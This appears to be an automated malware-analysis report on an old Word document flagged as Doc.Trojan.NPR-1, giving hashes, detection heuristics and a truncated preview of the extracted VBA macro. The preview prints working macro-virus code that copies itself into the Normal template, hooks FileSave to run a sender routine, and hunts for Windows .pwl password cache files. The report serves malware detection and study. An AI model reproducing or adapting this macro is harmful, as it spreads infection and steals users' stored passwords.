Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00b72d7936dc552f…

MALICIOUS

Office (OLE)

84.0 KB Created: 2000-08-15 11:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 79c5eb97cbbe88cfc8100037a2bc1bdc SHA-1: ce94457ff32149d135ffcf546a064490376f35a8 SHA-256: 00b72d7936dc552f9c67ddef3223b6265c295a1e489f44d9e938e7ce82a079fa
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristics indicating the presence of VBA macros with auto-executing functions (AutoOpen, AutoClose) and a Shell() call, strongly suggesting malicious intent. The 'Password-protected archive handoff' heuristic further implies a lure to bypass security controls. ClamAV detections confirm its malicious nature. The VBA script, while partially truncated, contains API calls to user32.dll and advapi32.dll, indicating potential system interaction and execution of arbitrary code, likely to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Trojan.NPR-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NPR-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69405 bytes
SHA-256: 60dda49121e0ff2ecd217198c3b07898cfc8b989aa43ee3b133c0fb86f96f496
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MSPluss"
'NetscapePasswordReminder
Option Explicit
Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal Msg As Long, wParam As Any, lParam As Any) As Long
Declare Function FindWindow Lib "user32.dll" Alias _
"FindWindowA" (ByVal lpClassName As Any, _
ByVal lpWindowName As Any) As Long
Sub CopyLines(Source As Object)
On Error Resume Next
     Dim SourceM As Object, TargetM As Object
     Dim n As Long
     Dim Body As String
     Dim VBComponent  As Object
    For Each VBComponent In Source.VBProject.VBComponents
     Set SourceM = VBComponent
     n = SourceM.CodeModule.CountOfLines
     Body = SourceM.CodeModule.Lines(1, 1)
     If InStr(1, Body, "NetscapePasswordReminder", vbTextCompare) <> 0 Then
     Body = SourceM.CodeModule.Lines(1, n)
     Body = morf(Body)
     Set TargetM = NormalTemplate.VBProject.VBComponents.Add(1)
     TargetM.CodeModule.AddFromString Body
     TargetM.Name = "MSPluss"
     End If
   Next
 End Sub
Function Random1(i As Integer)
Dim Resalt As Integer
Resalt = Int(i * Rnd + 1)
Random1 = Resalt
End Function
' End Sub

Sub FileSave()
On Error Resume Next
ActiveDocument.Save
Sender_main
End Sub
Function Revers(MyString As String)
 Dim Temp As String, i As Long
 For i = 1 To Len(MyString)
  Temp = Temp + Mid$(MyString, Len(MyString) + 1 - i, 1)
 Next
 Revers = Temp
End Function
' End Sub
Function Decode_(Cod As String)
Dim i As Long
Dim AlfaBet As String
Dim Chop As Integer
Dim HiMask As Integer
Dim LowMask As Integer
Dim HiShift As Integer
Dim LowShift As Integer
Dim Charset As Integer
Dim First As Integer, Second As Integer
Dim Resalt As String
If Cod = "" Then
 Decode_ = ""
 Exit Function
End If
AlfaBet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Chop = 63
HiMask = 63
LowMask = 0
HiShift = 4
LowShift = 64
Resalt = ""
For i = 1 To Len(Cod)
 Charset = InStr(1, AlfaBet, Mid(Cod, i, 1), vbBinaryCompare) - 1
If Charset >= 0 Then
Second = (Charset And LowMask) / LowShift
If HiMask <> 63 Then
 Resalt = Resalt + Chr$(First + Second)
End If
First = (Charset And HiMask) * HiShift
If HiMask = 0 Then
 HiMask = 63
 LowMask = 0
 HiShift = 4
 LowShift = 64
Else
 HiMask = ((HiMask * 4) And HiMask) / 4
 LowMask = 63 Xor HiMask
 HiShift = HiShift * 4
 LowShift = LowShift / 4
End If
End If
Next
Decode_ = Resalt
End Function
' End Sub
Function FindPWL(j As Integer, FindFiles() As String)
ReDim FindFiles(0)
FindFiles(0) = Dir$("c:\windows\*.pwl")
If FindFiles(0) = "" Then
Exit Function
End If
j = 0
Do While FindFiles(0) <> ""
FindFiles(0) = Dir
j = j + 1
Loop
If j > 1 Then
ReDim FindFiles(0 To j - 1)
FindFiles(0) = Dir$("c:\windows\*.pwl")
For j = 1 To j - 1
FindFiles(j) = Dir$
Next j
Else
FindFiles(0) = Dir$("c:\windows\*.p
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.